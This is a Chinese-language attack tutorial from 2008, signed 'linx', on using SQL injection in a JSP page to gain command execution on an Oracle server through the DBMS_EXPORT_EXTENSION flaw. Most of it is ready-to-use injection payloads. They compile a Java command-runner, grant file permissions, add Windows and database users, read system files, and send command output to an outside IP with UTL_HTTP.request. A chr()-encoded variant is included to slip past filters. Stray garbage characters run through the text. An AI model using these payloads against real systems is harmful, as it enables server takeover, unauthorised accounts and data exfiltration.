实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
+ X+ Q' r( ?' j5 P! K( L, z% z的形式即可。(用" 'a'|| "是为了让语句返回true值)
9 ~1 ~7 ?6 F3 |9 ~" d' |语句有点长，可能要用post提交。
8 I1 e) x9 m8 i: [# m. X. G: q以下是各个步骤：
  J0 R& d1 S) ]; ^  b3 F1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
3 k. G# J+ d! w9 x7 Y- P/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
3 U" H/ y( E" z2 A6 n}'''';END;'';END;--','SYS',0,'1',0) from dual
)
------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
: c5 ]' |- r. ^# b, o: h, {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 W# \$ Q) j; _# Ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
: C4 C  S: [4 y& vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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! O  ?1 P/ E1 n7 W4 w+ M" E2.赋Java权限
' h& m3 k8 \7 Y  S; Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
" L1 Q. }( {  a2 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, u9 z6 O7 w/ m7 j3 o; U' `create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
7 `: a( M2 z5 Z' N7 L& }, c4.赋public执行函数的权限
* S) J! ]+ ^$ F* Z$ }; R" t1 oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
- Y4 J( [0 }7 O5.测试上面的几步是否成功
and '1'<>'11'||(
1 u0 ^# g* m6 f0 Q/ vselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
' C: x8 u$ A  d' `. pand '1'<>(
' w8 w2 z9 M" W2 J2 L" N+ v9 Bselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
1 l3 K- n% z* x; ~9 c7 m! q- U6.执行命令：
/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
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! A  `% \  K9 r5 r  f2 i注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
: G, n% {7 R, O5 g( z& }+ O& X/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
* r0 C) x+ B6 e/ h)
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.内部变化
/ `9 N) q+ [( y" |6 ?1 K通过以下命令可以查看all_objects表达改变：
0 |4 B6 j) ]& p. u7 ~9 A! ^select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.删除我们创建的函数
! x# p1 }6 g) p0 ?. lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, x9 L2 X# r* x4 `drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
0 d4 ?( P3 `, B; f====================================================
全文结束。谨以此文赠与我的朋友。
/ k4 r* l3 C/ U( ulinx
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! s3 g0 |# y. D9 h. }2008.1.12
2 o3 C. x4 ]. p0 O1 f- e; ~linyujian@bjfu.edu.cn
======================================================================
测试漏洞的另一方法：
创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
( D1 T3 `; `7 F7 {3 I8 i0 u即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
" p/ J$ d, q0 E* s% c  Dchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
1<>(
# ]# N* S( V) Q4 Q0 H8 Lselect user_id from all_users where username='LINXSQL'
)
5 O- Y. E" o6 c) B: r5 i给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ p3 K, x, G* C+ R. RGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
+ P, ]' {/ [, I- n4 ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& Z# z: d! {: v  N9 x/ n% l5 vdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
1 B5 A: x$ Q7 g======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& \1 ]; |5 u% o4 H. W3 q3 gcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
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